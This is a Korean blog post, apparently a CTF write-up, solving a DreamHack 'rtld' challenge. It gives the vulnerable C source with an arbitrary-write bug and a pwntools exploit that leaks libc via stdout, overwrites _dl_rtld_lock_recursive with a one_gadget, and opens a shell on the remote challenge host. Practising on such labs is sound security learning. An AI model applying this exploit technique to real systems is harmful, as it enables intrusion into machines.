CIDY
[System_Hacking] AD: stage4_문제풀이(rtld) 본문
// gcc -o rtld rtld.c -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main()
{
long addr;
long value;
initialize();
printf("stdout: %p\n", stdout);
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
시스템 해킹 카테고리에서는 처음 풀어보는 3레벨 문제이다. 이제 서버와 로컬의 차이에 지쳤기 때문에..얼른 시스템 해킹 끝내고 리버싱 공부하고 싶다...
일단 코드부터 보자. 겟쉘함수를 줬기 때문에 rop를 하라는 것 같다.
익스 개요를 짜 보면, 립시 영역 주소를 제공해주고 있고, 이전 rtld문제와는 달리 while문이 없다. 즉 한번에 끝내야 한다는건데, 이게 겟쉘을 준 이유인 것 같다.
그러니까, dl_load_lock까지는 세팅할 수 없으니, _dl_rtld_lock_recursive를 겟쉘로 덮으면 된다.
우선 로컬에서 먼저 해 보자.
주소계산 완벽한데 쉘은 안 따인다. 디버깅 해 보니 문제는 다른 곳에 있었다.
파이...ㅋㅋ 3레벨인 이유가 이거였나..? -> 파이 베이스는 어쩌지? -> 그냥 원가젯을 쓰자!
from pwn import *
#p = process("./rtld")
p = remote("host3.dreamhack.games", 13545)
libc = ELF("libc.so.6")
one_gadget = [0x4526a, 0xf02a4, 0xf1147]
p.recvuntil(b": ")
stdout = int(p.recvn(14), 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
drlr = libc_base + 0x5f0f48
oneshot = libc_base + one_gadget[2]
p.sendlineafter(b": ", str(drlr))
p.sendlineafter(b": ", str(oneshot))
p.interactive()
참고로 drlr은 구조체 오프셋이 0x5f0040이고 drlr오프셋이 3848이다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] AD: stage5_문제풀이(SigReturn-Oriented Programming) (0) | 2022.07.14 |
---|---|
[System_Hacking] AD: stage5_SigReturn Oriented Programming (0) | 2022.07.14 |
[System_Hacking] AD: stage4_문제풀이(__environ) (0) | 2022.07.14 |
[System_Hacking] AD: stage4_문제풀이(Overwrite _rtld_global) (0) | 2022.07.14 |
[System_Hacking] AD: stage4__rtld_global (0) | 2022.07.12 |